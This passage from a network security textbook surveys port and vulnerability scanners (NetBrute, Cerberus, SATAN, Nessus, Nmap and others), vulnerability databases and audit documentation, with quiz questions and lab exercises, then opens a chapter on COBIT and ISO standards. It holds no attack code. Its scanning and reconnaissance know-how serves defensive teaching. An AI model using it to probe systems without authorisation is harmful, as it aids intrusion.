The first scanner we will examine is NetCop. This particular scanner is not necessarily the most widely used in the security or hacking communities, but it is easy to use and therefore makes a very good place for us to start. This utility can be obtained from many sites, including http://download.cnet.com/windows/netcop-software/3260-20_4-112009.html. When you download NetCop, you get a simple self-extracting executable that will install the program on your machine and will even place a shortcut in your program menu. Launching NetCop brings up the screen shown in [Figure 12-1](#). As you can see from this image, this scanner is relatively simple and intuitive to use.




FIGURE 12-1 NetCop port scanner

The first selection you make is how to scan the IP address. You can either choose to scan a single IP address or a range of IP addresses. The latter option makes this tool particularly useful for network administrators who want to check for open ports on their entire network. For our purposes we will begin by scanning a single IP address, our own machine. To follow along on your own computer, you will need to type in your machine's IP address. You can either type your machine's actual IP address or simply the loopback

address (127.0.0.1). When you type in a single IP address and click on Scan Now, you can watch the display showing that it is checking each and every port, as shown in [Figure 12-2](#). This is very methodical but also a bit slow.




FIGURE 12-2 Screen an IP address with NetCop

You can stop the scan if you wish to do so; however, if you let the scan run through all of the ports, you will then see something similar to what is shown in [Figure 12-3](#). Of course, different machines you examine will

have different ports open. That is the entire point of scanning, to find out which ports are open.




FIGURE 12-3 IP scan results

Finding out which ports are open on a given machine is only half the battle. It is important that you know what each port is used for, and which ones you can shut down without negatively impacting the machine’s purpose.

Over time you will probably memorize several commonly used ports. For a complete list of all ports,

you can check one of these websites:

- www.networksorcery.com/enp/protocol/ip/ports00000.htm
- www.iana.org/assignments/port-numbers

Consider what sort of information these ports tell you. Machines running port 80 are probably web servers. But other ports can give a hacker even more useful information. For example, ports 137, 138, and 139 are used by NetBIOS, which is most often associated with older versions of Windows. If an intruder realizes that the target machine is using an older version of Windows, she knows she can exploit flaws that have been corrected in newer versions. Other ports can indicate if the target machine is running a database server, e-mail server, or other vital services. This information not only helps hackers to compromise systems, but also helps them identify information-rich targets.

If you are working within an organizational structure, the best course of action is to make a list of all open ports and identify which ones you believe are required for operations and which ones are not. You should then forward that list to relevant parties such as other network administrators, the IT manager, and the security manager. Give them a chance to identify any additional ports that may be needed. Then you can

proceed to close all the ports not needed.

NetBrute

Some port scanners do more than simply scan for open ports. Some also give you additional information. One such product is NetBrute from RawLogic, located at www.rawlogic.com/netbrute/. This one is quite popular with both the security and hacker community. No computer security professionals should be without this item in their tool chests. This utility will give you open ports, as well as other vital information. Once you install and launch NetBrute, you will see a screen such as the one depicted in [Figure 12-4](#).

As you can see in [Figure 12-4](#), there are three tabs. We will concentrate on the NetBrute tab first. You can elect to scan a range of IP addresses (perfect for network administrators assessing the vulnerability of their own systems), or you can choose to target an individual IP. When you are done, it will show you all the shared drives on that computer, as you see in [Figure 12-5](#).




FIGURE 12-4 NetBrute main screen




FIGURE 12-5 Shared drives

Shared folders and drives are important to security because they provide one possible way for a hacker to get into a system. If the hacker can gain access to that shared folder, she can use that area to upload a Trojan horse, virus, key logger, or other device. The rule on shared drives is simple: If you don't absolutely need them, then don't have them. Any drive or folder can be shared or not shared. Unless you have a compelling

reason to share a drive, you should not. And if you do decide to share it, then the details of that shared drive—including content and reason for sharing it—should be in your security documentation.

With the PortScan tab, you can find ports. It works exactly like the first tab except that instead of giving you a list of shared folders/drives, it gives you a list of open ports. Thus, with NetBrute, you get a port scanner and a shared folder scanner. In essence the second tab contains the most pertinent information you might obtain from other products such as NetCop.

When scanning your own network, these first two tabs will be the most important. However, if you wish to check the security of your web server you would want to use the WebBrute tab. The WebBrute tab allows you to scan a target website and obtain information similar to what you would get from Netcraft. This scan gives you information such as the target system's operating system and web server software.

NetBrute is easy to use and provides most of the basic information you might need. The ability to track shared folders and drives in addition to open ports is of particular use. This tool is widely used by hackers as well as security professionals.

Cerberus

One of the most widely used scanning utilities, and a personal favorite of this author, is the Cerberus Internet Scanner, available as a free download from <https://www.cerberusftp.com/download/> (you can simply do a web search for Cerberus with your favorite search engine). This tool is remarkably simple to use and very informative. When you launch this tool, you will see a screen like the one shown in [Figure 12-6](#).




FIGURE 12-6 The Cerberus Internet Scanner

From this screen you can click on the button on the far left that has an icon of a house. Or you can go to File and select Host. You then simply key in either the URL or the IP address of the machine that you wish to scan. Click either the button with the “S” on it or go to File and select Start Scan. Cerberus will then scan that machine and give you a wealth of information. You can see in Figure 12-7 all the various categories of information that you get from this scan.




FIGURE 12-7 Cerberus scan results

Click on the third button to review the report. The report will launch a Hypertext Markup Language (HTML) document (thus the document is easy to save for future reference) with links to each category. Click on the category you wish to view. As a rule you should save all such security reports for future audits. In the event of litigation it may be necessary for you to verify that you were practicing due diligence in implementing and auditing security. It is also important to document

these activities as a part of the record of security precautions you take. This documentation could be crucial in the case of any external audit or even in helping a new IT security professional get up to speed on what actions have already been taken. This information should be stored in a secure location, as it is of great value to someone wishing to compromise your system security. An example of the report is shown in Figure 12-8.

One of the most interesting sections to review, particularly for a security administrator, is the NT Registry report. This report will examine the Windows Registry and inform you of any security flaws found there and how to correct them. This report is shown in Figure 12-9.




FIGURE 12-8 The Cerberus Report




FIGURE 12-9 The NT Registry Report

This list shows specific Windows Registry settings, why those settings are not particularly secure, and what you can do to secure them. For obvious reasons, this tool is very popular with hackers. Cerberus can provide a great map of all of a system's potential vulnerabilities including, but not limited to, shared drives, insecure registry settings, services running, and known flaws in the operating system.

You may have noted that more detail was given on Cerberus than some of the other scanners. This is for two reasons. The first is that this particular scanner gives more information than most port scanners. The second reason is that this scanner is a particular favorite of the author.

Port Scanner for Unix: SATAN

This is an old tool, but one that has been quite popular for years with Unix administrators (as well as hackers) is SATAN. This tool is not some diabolical supernatural entity, but rather an acronym for Security Administrator Tool for Analyzing Networks. It can be downloaded for free from any number of websites. Many of these sites are listed at <http://linux.softpedia.com/progDownload/SATAN-Download-23306.html>. This tool is strictly for Unix and does not work in Windows.

SATAN was created by Dan Farmer, author of COPS (Computer Oracle and Password System), and Wietse Venema, from the Eindhoven University of Technology in the Netherlands. It was originally released on April 5, 1995. It should be noted that SATAN, as well as many other probing tools, was originally used by hackers to find out about a target system. Over time, the more creative network administrators began to use these tools

for their own purposes. Clearly, if you wish to protect your system against intruders, it can be quite helpful to try the same tools that intruders use.

The user can enter either a single machine or an entire domain of machines to attack. There are three classes of attacks:

- **Light:** A light attack simply reports what hosts are available and what Remote Procedure Call services those hosts are running.
- **Normal:** A normal attack probes the targets by establishing various connections including telnet, FTP, WWW, gopher, and SMTP. These are used to discover what operating system the host is running and what vulnerabilities may be available.
- **Heavy:** A heavy attack includes everything that a normal attack does with the addition of a search for several other known vulnerabilities, such as writable anonymous FTP directories or trusted hosts.

The history of this particular product is quite illuminating. It began with the work of two computer scientists, Dan Farmer of Sun Microsystems and Wietse Venema of Eindhoven University of Technology. Together they published a paper entitled “Improving the Security of Your Site by Breaking Into It”

(http://www.dcs.ed.ac.uk/home/rah/Resources/Security/admin_guide_to_

This is a very old paper. The technology in it may no longer be relevant, but the concept is. In it, they discussed using hacking techniques to attempt to break into your own system and thereby discover its security flaws. In the process of writing this paper, they developed the SATAN tool in order to aid network administrators in carrying out the recommendations of their paper. This means SATAN is the product of computer scientists working to improve computer security. It is not a commercial product and can be freely downloaded from numerous websites.

SAINT

SAINT (Security Administrator's Integrated Network Tool) is a network vulnerability assessment scanner (<http://www.saintcorporation.com/>) that scans a system and finds security weaknesses. It prioritizes critical vulnerabilities in the network and recommends safeguards for your data. SAINT can benefit you in several ways:

- Prioritized vulnerabilities let you focus your resources on the most critical security issues. This is probably the most distinctive feature of SAINT.
- Fast assessment results help you identify problems

quickly.

- Highly configurable scans increase the efficiency of your network security program.
- It allows network administrators to design and generate vulnerability assessment reports quickly and easily. Such reports are particularly useful when conducting audits.
- The product is automatically updated whenever a scan is run.

This product is newer than Cerberus and SATAN, and has gained widespread acceptance in both the hacking and security communities.

Nessus

Nessus, or the “Nessus Project,” is another extremely powerful network scanner. It is a commercial product you can find at <https://www.tenable.com/products/nessus/nessus-professional>. Nessus is fast and reliable, with a modular architecture that allows you to configure it to your needs. Nessus works on Unix-like systems (Mac OS X/macOS, FreeBSD, Linux, Solaris, and more) and also on Windows. In fact, Nessus is perhaps the most widely used scanner. While it can be cost prohibitive for some, many security professionals consider it an indispensable vulnerability scanner.

Nessus includes a variety of plug-ins that can be enabled, depending on the type of security checks you want to perform. These plug-ins work cooperatively with each test specifying what is needed to proceed with the test. For example, if a certain test requires a remote FTP server and a previous test showed that none exists, that test will not be performed. Not performing futile tests speeds up the scanning process. These plug-ins are updated daily and are available from the Nessus website.

The output from a Nessus scan of a system is incredibly detailed, and there are multiple formats available for the reports. These reports give information about security holes, warnings, and notes. Nessus does not attempt to

fix any security holes that it finds. It simply reports them and gives suggestions for how to make the vulnerable system more secure.

Frankly speaking, if you are going to do professional vulnerability scans, you will be well-served to at least consider Nessus. They do have a seven-day trial version you can use to see if it suits your needs.

NetStat Live

One of the most popular protocol monitors is NetStat, which ships free with Microsoft Windows. A version of this, NetStat Live (NSL), is freely available on the Internet from a variety of sites, such as www.analogx.com/contents/download/network/nsl.htm.

This product is an easy-to-use TCP/IP protocol monitor that can be used to see the exact throughput on both incoming and outgoing data whether you are using a modem, cable modem, DSL, or a local network. It allows you to see the speed at which your data goes from your computer to another computer on the Internet. It even tells you how many other computers your data must go through to get to its destination. NSL also graphs the CPU usage of a system. This can be especially useful if, for example, you are experiencing slowed connection speeds. It can identify whether your computer or your Internet connection is the reason for the slowdown.

The NetStat Live screen is shown in [Figure 12-10](#). This display shows the last 60 seconds of data throughput. It displays the average data rate, the total amount of data sent since last reboot, and the maximum data rate. It tracks these for all incoming and outgoing messages.




FIGURE 12-10 NetStat Live

To enable or disable a pane, simply right-click on the window, choose Statistics, and then place a check next to any statistics that you would like to see. Your choices are:

- **Local Machine:** The current machine name, IP address, and network interface being monitored
- **Remote Machine:** The remote machine, including

average ping time and number of hops

- **Incoming Data:** Data on the incoming (download) channel
- **Incoming Totals:** Totals for the incoming data
- **Outgoing Data:** Data on the outgoing (upload) channel
- **Outgoing Totals:** Totals for the outgoing data
- **System Threads:** Total number of threads currently running in the system
- **CPU Usage:** Graphs the CPU load

Notice that the Remote section has a machine listed and some information pertaining to it. You can easily change the server for which you are gathering information. Simply open your web browser, go to a web page, and copy the URL (including “http://”) into the clipboard (by using Ctrl+C). When you return to viewing NSL, you will see that the server has been replaced with information on the site to which you browsed. One of the most important reasons to use NetStat or NetStat Live is to find out what the normal traffic flow is to a given server (or your entire network). It is difficult to determine whether abnormal activity is taking place if you do not know the characteristics of normal activity.

In Practice

When Doing an Audit

As we previously discussed, a very early step in assessing a network is checking its documentation. This step can give you invaluable information about the organization's security approach. Whether you are doing an internal audit or are an outside party auditing another organization, there are some telltale signs in documentation that can tell you how thorough the organization's approach to security is.

For example, an organization that has documented the normal traffic flow (I/OPs) to its servers is probably paying close attention to the details of its security architecture. There are some other items that will indicate good security practices:

- A documented patch maintenance program.
- A documented change control process.
- A diagram of the entire network, complete with details of what is on each machine. This documentation must be secured and not generally available to unauthorized people.
- Documentation of the security training/certifications of the network staff.

- Ongoing in-house security training.
- Routine review of security literature, journals, and websites.

All of these items can indicate to you that this organization takes security seriously. On the other hand, there may also be items in the documentation that would indicate the opposite. Some of these include:

- Very limited or outdated documentation
- Unsecured network documentation that is easy for unauthorized personnel to get to
- Overly vague security policies
- Security policies that do not mention any negative outcome for violations
- Lack of logs (most changes—database, server, security, etc.—should be logged)

These are just a few items to look for when you are reviewing documentation for any organization.

Active Ports

Active Ports is another easy-to-use scanning tool for Windows. You can download it for free from http://www.majorgeeks.com/files/details/active_ports.html.

This program enables you to monitor all open TCP and UDP ports on the local computer. [Figure 12-11](#) shows the main screen of Active Ports. Active Ports maps ports to the owning application so you can watch which process has opened which port. It also displays a local and remote IP address for each connection and allows you to terminate the process that is using that port.




FIGURE 12-11 Active Ports user interface

Active Ports lacks some of the features you would find in more advanced tools such as Cerberus or SATAN. It is a good place to start, though, especially if you have no experience port scanning at all.

Other Port Scanners

There are many more port scanners and security tools available on the Internet, a few of which are listed here:

- Like Active Ports, Fport reports all open TCP/IP and UDP ports and maps them to the owning application. Additionally, it maps those ports to running processes. Fport can be used to quickly identify unknown open ports and their associated applications. This product is available at <https://www.mcafee.com/us/downloads/free-tools/fport.aspx>.
- TCPView is a Windows program that will show you detailed listings of all TCP and UDP endpoints on your system, including the remote address and the state of TCP connections. TCPView provides a conveniently presented subset of the NetStat program. TCPView is available free of charge at <https://docs.microsoft.com/en-us/sysinternals/downloads/tcpview>.

- SuperScan is a port scanner originally from Foundstone Inc, now distributed by McAfee. It is available as a free download at <http://sectools.org/tool/superscan/>. This particular scanner gives its report in HTML format. What is most interesting about SuperScan is the wide variety of tools also available at that same website, including tools that scan for any number of very specific vulnerabilities. Exploring this website is well worth your time.

The specific port scanner you use is often more a matter of personal preference than anything else. The best approach is to use three or four separate scanners to ensure that you are checking all the possible vulnerabilities. Using more than three or four scanners provides limited incremental benefits and can be very time consuming. I would definitely recommend that Cerberus be one of the scanners you use. You may also wish to fully test your password with some of the password crackers we mentioned in Chapter 6, “Encryption Fundamentals,” to ensure that your passwords cannot be easily cracked.

More security-savvy network administrators will use these tools on their servers, just to check security. Full-time security professionals should try to stay abreast of trends in the hacking community, and may even use the

same tools as hackers. This is a proactive and important step for a network administrator to take.

Microsoft Baseline Security Analyzer

The Microsoft Baseline Security Analyzer (MBSA) is certainly not the most robust vulnerability assessment tool, but it has a remarkably easy-to-use interface and it is free (see [Figure 12-12](#)). This tool is available from <https://www.microsoft.com/en-us/download/details.aspx?id=7558>.



FIGURE 12-12 Microsoft Baseline Security Analyzer

You can choose to scan one machine or many, and you can select which vulnerabilities you want to scan for, as shown in [Figure 12-13](#).




FIGURE 12-13 Microsoft Baseline Security Analyzer—Scan Selection

When the scan completes, a complete report appears to the user, shown in [Figure 12-14](#).




FIGURE 12-14 Microsoft Baseline Security Analyzer—Results

As you can see, this easy-to-use tool gives you a clear overview of not only a given system’s vulnerabilities, but also specific details. This should make it easy for an attacker to exploit those vulnerabilities, but would also make it easy for you to correct them. This is the sort of tool someone might use to find possible attack vectors into your system but is also an excellent tool for system administrators to use to check their system for

vulnerabilities.

NSAuditor

The NSAuditor tool offers basic system enumeration. If you look under Tools, you see the Enumerate Computers button, shown in Figure 12-15.



FIGURE 12-15 NSAuditor Enumerate Computers

Click it to see a number of choices as to what you want to enumerate, as shown in Figure 12-16.




FIGURE 12-16 NSA Auditor enumeration choices

You have a number of choices: You can enumerate all computers, or just the domain controller, or servers, or MS SQL database servers. When you run the enumerator the output is in XML format as shown in [Figure 12-17](#).




FIGURE 12-17 NSAuditor enumeration results

You can see that a great deal of information is provided about every computer on that network. You get a list of all the computers on the network, and then you can see what services they are running. Any running service is a potential attack vector.

NMAP

Perhaps the most popular port scanner in the hacking and security community is the free tool Nmap (<https://nmap.org/>). There is a Windows version of it with a GUI that can be downloaded from <https://nmap.org/download.html>. You can use Nmap from the command line and learn all the various commands and flags. But using the GUI, it is just point and click. This is shown in [figure 12-18](#).




FIGURE 12-18 Nmap

However, if you are going to use Nmap on a regular basis, you will want to learn the commands and flags. Fortunately a web search for “Nmap tutorials” will give you a host of tutorials and videos.

VULNERABILITIES

In the preceding section we examined a number of vulnerability scanners. It is important to understand precisely what a vulnerability is. A vulnerability is some flaw in a system that an attacker could exploit to attack the system.

CVE

The most common list of vulnerabilities is the CVE list. Common Vulnerabilities and Exposures (CVE) is a list maintained by the Mitre corporation at <https://cve.mitre.org/>. It is not only the most common, but also the most comprehensive vulnerability list. The CVE list was designed to provide a common name and description for a vulnerability. This allows security professionals to communicate effectively about vulnerabilities. In the past, CVEs had been designated by a CVE ID in the format of CVE-YYYY-NNNN. This format only allows 9,999 unique identifiers per year. The new format is CVE prefix + Year + Arbitrary Digits and allows for any number of digits.

NIST

The U.S. National Institute of Standards and Technology maintains a database of vulnerabilities that you can access at <https://nvd.nist.gov/>. NIST also uses the CVE format. For example, CVE-2017-12371 is described as “A ‘Cisco WebEx Network Recording Player Remote Code Execution Vulnerability’ exists in Cisco WebEx Network Recording Player for Advanced Recording Format (ARF) and WebEx Recording Format (WRF) files. A remote attacker could exploit this by providing a user with a malicious ARF or WRF file via email or URL and convincing the user to launch the file. Exploitation of this could cause an affected player to crash and, in some cases, could allow arbitrary code execution on the system of a targeted user.”

OWASP

The Open Web Application Security Project is the standard for web application security. They publish a number of important documents. For our current purposes, the most important is their top 10 list, located at

https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project.

Every few years they publish a top 10 web application vulnerabilities list. This list contains the actual vulnerabilities most frequently found in web applications. From a penetration testing perspective, not testing for these would be negligent. What is most disturbing for a security professional is how little this list changes over the years. The list is publicly available, and there are free tools to test for these vulnerabilities, but many websites still have them. More importantly, OWASP provides a tool, called OWASP ZAP (Zed Attack Proxy), that will test for these vulnerabilities. It can be downloaded from https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project.

It is a very intuitive product that simply has you enter the URL you wish to test and click a button. OWASP ZAP will then perform a rather complete vulnerability scan, with detailed results and recommendations for correcting those issues.

MCCUMBER CUBE

The McCumber cube is a way of evaluating security of a network, looking at all aspects. It was described in detail in John McCumber's 2004 book *Assessing and Managing Security Risk in IT Systems: A Structured Methodology*. It looks at security as a three-dimensional cube. It is called a cube because the three dimensions are represented graphically, as shown in [Figure 12-19](#). The dimensions are goals, information states, and safeguards, described next.




FIGURE 12-19 McCumber Cube

Goals

These are the traditional three goals of cybersecurity:

- **Confidentiality:** Assurance that sensitive information is not intentionally or accidentally disclosed to unauthorized individuals.
- **Integrity:** Assurance that information is not intentionally or accidentally modified in such a way as to call into question its reliability.
- **Availability:** Ensuring that authorized individuals have both timely and reliable access to data and other resources when needed.

Information States

As we have discussed previously in this book, information or data must be protected regardless of the state it is in. The information states are as follows:

- **Storage:** Data at rest (DAR) in an information system, such as that stored on a hard drive.
- **Transmission:** Transferring data between information systems, also known as data in transit (DIT), such as when sending data from one computer or device to another.
- **Processing:** Performing operations on data in

order to achieve a desired objective. This is different from just data at rest. Data in processing is still on a hard drive, but has been loaded into memory and is being actively worked with.

Safeguards

This part of the McCumber cube describes the actions taken to secure the system.

- **Policy and practices:** All the administrative controls used to protect data.
- **Human factors:** End-user training and even screening of employees is part of human factors.
- **Technology:** All the various technological measures used to protect data. This includes firewalls, IDS, antivirus, etc.

SECURITY DOCUMENTATION

Throughout this chapter, and this book, we have frequently mentioned security documentation. By this point you are undoubtedly aware that you need to document your security. However, you may not be clear as to exactly what documents you should have. Unfortunately, this is an area of network security for which there are not firm industry standards. There is no manual on documentation.

In this section we will explore some essential documents you should have, and what they should contain. To make this simpler, many of these documents relate directly to the aforementioned Six Ps of security.

Physical Security Documentation

You should have a document that lists physical security that is in place. Where are the machines located? This means documenting the location of every single server, workstation, router, hub, or other device. The documentation should contain serial numbers as well as what personnel have access to them. If a device is in a locked room, then the documentation should also have a list of who has keys to that room.

If you log entry to secured rooms, then copies of those logs should be filed with your other physical documentation. In even a medium-sized network this would quickly become a rather hefty file rather than a single document. You may consider implementing some method whereby after a certain period of time (1 year, for example) the access logs are archived, then after a longer period of time (such as 3 years) they are destroyed.

Policy and Personnel Documentation

All policies must be on file. Any revisions should be filed along with the originals. Assuming you have employees sign an agreement stating they are aware of the policies (and you absolutely should), then copies of that should also be on file.

Along with policy documentation, you should keep a list of personnel along with what items they have access to. This includes physical access as well as any machines (servers, workstations, or routers) that they have login rights to. You should also note what level of access they have (standard user, power user, administrator, and so on).

Probe Documents

Any time you conduct any security audit, a report of that audit should be filed. Even audits done by outside consultants should be kept on file. The audit report should include any flaws found, and have a follow-up report of what steps were taken to correct them.

Should you have a security incident (such as a virus infection or intruder), there should be at least a brief memo summarizing what occurred. That document should state what the security incident was, when it occurred, what machines were affected, and how it was corrected.

Network Protection Documents

The most obvious item to document is exactly what network protections you have in place. This documentation should detail the following:

- What firewall are you using and how is it configured?
- What IDS are you using and how is it configured?
- What antivirus and/or anti-spyware are you using?
- Have you configured any honeypots?
- What individual machine security measures (such

as workstation firewalls) have you taken?

One note of caution: These documents should be kept under lock and key, with only limited access. If an intruder were to get access to these documents, they would have a detailed analysis of your network's weaknesses.

SUMMARY

Periodic security audits must be a part of any proper security plan. The audit must include the following steps, at a minimum:

- Check for appropriate security policies.
- Check to see that all systems have updated patches for the operating system and applications. Also check to see whether a patch management plan is in place and documented.
- Check physical security.
- Probe the system using port scanners and other software to detect and correct any flaws.
- Document the specific steps taken in the security audit, any flaws found, and any corrective actions that were taken or are recommended.

Test Your Skills

MULTIPLE CHOICE QUESTIONS

1. Which of the following scanners provides information regarding the target system's registry?
 - A. Cerberus
 - B. NetCop
 - C. NetBrute
 - D. Active Ports

2. What is the minimum level of security (using the chapter's 1–10 scale) that any organizational network should have?
 - A. 1
 - B. 3
 - C. 5
 - D. 7

3. Which of the following is the most fundamental aspect of security?
 - A. Shutting down unused services
 - B. Implementing an IDS
 - C. Patching the operating system
 - D. Conducting periodic security audits

- 4.** What is the best device, method, or technique to help you be aware of attacks in progress?
- A.** Server logs
 - B.** Firewall logs
 - C.** IDS
 - D.** NAT
- 5.** VPNs should be used for what type of communications?
- A.** All external connections to your network
 - B.** All external connections that might transmit sensitive data
 - C.** All internal communications
 - D.** All internal communications that might transmit sensitive data
- 6.** What is not a primary reason for documenting your security activities and audits?
- A.** To prove due diligence in case of litigation
 - B.** To provide information in case of any external or internal audit
 - C.** To get new personnel up to speed on the current state of security
 - D.** To demonstrate how much work the network administrators actually do

7. Which of the following is the least necessary security device/software?
- A. Firewall at the perimeter
 - B. Anti-spyware on all machines
 - C. Antivirus on all machines
 - D. Encryption for all internal transmissions
8. How should used media be disposed of?
- A. It should not be. It should be archived.
 - B. It should be disposed of normally after 5 years.
 - C. It should be destroyed thoroughly prior to disposal.
 - D. It should be archived and never destroyed if it contains sensitive data.
9. Which of the following utilities can reveal shared drives on a system?
- A. NetCop
 - B. NetBrute
 - C. NetGuard
 - D. NetMaster
10. Which of the following scanners provides information about the Windows Registry?

- A. NetCop**
- B. SATAN**
- C. Cerberus**
- D. SAINT**

11. Which of the following scanners is a Unix-only tool popular with hackers?

- A. NetCop**
- B. SATAN**
- C. Cerberus**
- D. SAINT**

12. What is the most distinctive feature of SAINT?

- A. Its registry report**
- B. Its prioritization of vulnerabilities**
- C. Its scans for shared drives**
- D. Its capability to map network traffic**

13. What is the most important reason to use NetStat or NetStat Live?

- A. To detect DoS attempts**
- B. To find registry vulnerabilities**
- C. To check passwords**
- D. To determine normal network traffic**

- 14.** What is the best approach when using scanners?
- A.** Pick any single scanner and use it.
 - B.** Use three or four different scanners.
 - C.** Find the most thorough scanner and use it.
 - D.** Use every scanner type you can find.
- 15.** What tools, besides port and security scanners, might you wish to use to assess security?
- A.** An IDS
 - B.** A firewall
 - C.** A virus
 - D.** A password cracker

EXERCISES

EXERCISE 12.1: Using NetBrute

- 1.** Download NetBrute and install it according to the instructions found in the product.
- 2.** Scan either a laboratory computer or your own PC for open ports.
- 3.** Document what you find. Also note anything that NetBrute provides that other tools did not.

EXERCISE 12.2: Using Cerberus

1. Download Cerberus and install it according to the instructions found in the product.
2. Scan either a laboratory computer or your own PC for open ports.
3. Note what you found that other tools did not detect.

EXERCISE 12.3: Using SATAN

Note: This exercise requires a Unix-based operating system.

1. Download SATAN and install it according to the instructions found in the product.
2. Scan either a laboratory computer or your own PC for open ports.
3. Document what you find. Particularly note any differences between the results from SATAN and the Windows-based software.

EXERCISE 12.4: Using Other Port Scanners

1. Download any other port scanner and install according to the instructions found.
2. Scan either a laboratory computer or your own PC for open ports.

3. Document differences between the results from that port scanner and the other scanners you used.

EXERCISE 12.5: Patching a System

1. Take a lab machine, preferably one that has not been checked for patches in some time.
2. Go to <https://support.microsoft.com/en-us/help/12373/windows-update-faq> and follow the instructions for updating your computer.
3. Note how many critical and recommended patches the machine has.

EXERCISE 12.6: Physical Security

Note: This is ideal for a group exercise.

1. Consider your educational institution. Examine (as much as possible) the physical security for servers and technology.
2. Devise your own plan for improving security.
3. Your plan might include additions such as
 - Biometrics
 - Alarms
 - Restricting access to keys
 - Putting routers under lock and key

PROJECTS

PROJECT 12.1: Using the Security Rating Scale

Using the Security Rating Scale outlined at the beginning of this chapter, rate the security of your campus computer systems and network. Provide clear reasons for each of your ratings on the scale and recommendations for ways to improve the system's security.

PROJECT 12.2: Assessing Security Policies

Find an organization that will allow you to review their security policies. You can try inquiring at any place you work, asking friends and relatives if you might check with their company's IT department, or checking with your college/university IT department. Make sure the organization has no objection to your review before you proceed.

The organization you review should have written security policies. Summarize the organization's policies and make recommendations for changes you feel are needed to improve security there. You can also use resources that define appropriate security policies to compare against the policies of your chosen

organization. Some sources for this information include:

- Department of Homeland Security:
<https://www.dhs.gov/sites/default/files/publications/FCC%20Cyberse>
- Sans Institute, 2003: www.sans.org/security-resources/policies/
- *Writing Information Security Policies* by Scott Barn, 2001

PROJECT 12.3: Performing a Full Audit

Note: This exercise requires a fully equipped lab (at least 10 machines) and is probably best done in groups.

You and your team should conduct a complete audit of the chosen lab and write a detailed account of what you find. The audit must include a review of lab policies, probing the machines, checking for patches, and all other items mentioned in this chapter.

Chapter 13

Security Standards

CHAPTER OBJECTIVES

After reading this chapter and completing the exercises, you will be able to do the following:

- Apply the U.S. Department of Defense's Orange Book computer security criteria.
- Understand industry standards like COBIT
- Understand ISO standards
- Use the Common Criteria computer security criteria.
- Employ other security models, including the Bell-LaPadula, Clark-Wilson, Biba Integrity, Chinese Wall, and State Machine models.

INTRODUCTION

Network security, as a field of study, has matured greatly in the past few decades. This means that there are a number of well-studied and widely accepted security standards already in place. There are also a variety of security models in place that you can use to assist in your approach to security. Understanding these standards and models is essential to developing a complete security strategy for your network. Through the preceding 12 chapters you have studied firewalls, proxy servers, antivirus software, defenses against DoS attacks, security policies, and more. Adding to that knowledge an understanding of security standards and models will give you a very solid understanding of network security.

COBIT

Control Objectives for Information and Related Technologies (COBIT) is a framework that can be effective in providing a structure applicable to a diverse set of cyber security environments. COBIT is a framework developed by ISACA (Information Systems Audit and Control Association) and first released in 1996. It was originally targeted to financial audits but has expanded over time. In 2005 COBIT was published as an ISO standard, ISO 17799:2005. The current version is COBIT 5, released in April 2012. The current version includes five components: framework, process descriptions, control objectives, management guidelines, and maturity models. Each of these components is an integral part of the framework and important to information security management.

The *framework* component of COBIT is one of the aspects of the standard that makes it relatively easy to integrate other standards. This component is rather general and requires that organizations develop good practices related to their business requirements. “Good practices” is a broadly defined term. In this component of COBIT, it would be appropriate to integrate any standards that are pertinent to the organization in question. For example, a company that processes credit

cards would integrate the PCI DSS standard in the framework component of COBIT. Then the organization would develop practices based on the PCI DSS standard. This illustrates not only the fact that COBIT is flexible and can be integrated with many standards, but that those standards are not in and of themselves complete approaches to cyber security. The fact that any of these standards would accommodate only one part of the COBIT framework is indicative of the narrow focus of these IT standards.

The next component of COBIT is *process descriptions*. While this is applicable to any network environment, it goes beyond existing standards such as HIPAA and PCI DSS, both of which will be discussed later in this chapter. This component requires the organization to clearly describe all business processes. This is a critical early step, because one cannot effectively approach security for any organization until one has a firm grasp on the processes of that organization.

Process descriptions in COBIT need to be detailed. These descriptions will include all inputs to a given process as well as expected outputs. Every process within the organization must be described. This detailed description provides a guide to the security needs of that process. For example, if a given process is to process credit card information, understanding the inputs and

outputs will help determine the security controls that would be appropriate.

The third component of COBIT are *control objectives*. This is another aspect of COBIT that goes beyond security standards, and instead provides a framework for information assurance. This component requires the organization to establish clear objectives for each security control. Whether that control is administrative or technological in nature, there must be a clearly articulated objective for the control. Without such objectives, it is impossible to evaluate the efficacy of a security control.

The more specific and detailed the objectives are the more effective they can be. One example of a control objective would be the implementation of an antivirus software solution. A generic objective would be to simply state the objective is to mitigate the risk of malware. A more detailed objective would be to target a 20% reduction either in the frequency or deleterious impact of malware outbreaks within the organization's network. The more precise the objective is, the easier it will be to measure and improve performance.

The control objectives lead naturally to *management guidelines*, the fourth component of COBIT. This component requires management to establish responsibility for achieving security goals, and

implements methods to measure performance of security controls. It is noteworthy that management guidelines are fourth in the COBIT components. Only after addressing the three previous components is it possible to develop effective management guidelines. Without clear control objectives, an understanding of business processes, and similar information, it is difficult to manage.

Finally, COBIT includes *maturity models*. Maturity models examine any process from the point of view of how developed that process is. Essentially, each individual security process is first assessed to determine how mature that process is. *Maturity* is defined as how that control is performing against objectives. Then, over time, the security process is evaluated to determine if it is maturing and improving. As an example, a policy regarding passwords might initially be developed based on generic guidelines. Then later, the policy could be revised in light of events within the organization, published standards, or increasing understanding of the security personnel. This process would then be said to be maturing.

ISO STANDARDS

The International Organization for Standardization creates standards for a wide range of topics. There are hundreds of such standards, and it would be impossible to cover them in a single chapter of a single book. In fact each standard could be the subject of a book itself, or at least a few chapters. Some of the more important standards for network security are listed here:

- ISO/IEC 15408: The Common Criteria for Information Technology Security Evaluation
- ISO/IEC 25000: Systems and Software Engineering
- ISO/IEC 27000: Information technology — Security Technology
- ISO/IEC 27001: Information Security Management
- ISO/IEC 27005: Risk Management
- ISO/IEC 27006: Accredited Certification Standard
- ISO/IEC 28000: Specification for security management systems for the supply chain
- ISO 27002: Information Security Controls
- ISO 27003: ISMS Implementation
- ISO 27004: IS Metrics
- ISO 27005: Risk management

- ISO 27006: ISMS certification
- ISO 27007: Management System Auditing
- ISO 27008: Technical Auditing
- ISO 27010: Inter-organization communication
- ISO 27011: Telecommunications
- ISO 27033: Network security
- ISO 27034: Application security
- ISO 27035: Incident Management
- ISO 27036: Supply chain
- ISO 27037: Digital forensics
- ISO 27038: Document reduction
- ISO 27039: Intrusion prevention
- ISO 27040: Storage security
- ISO 27041: Investigation assurance
- ISO 27042: Analyzing digital evidence
- ISO 27043: Incident Investigation

NIST STANDARDS

The U.S. National Institute of Standards and Technology establishes standards for a wide range of things. Some of the standards most important to network security are discussed in this section.

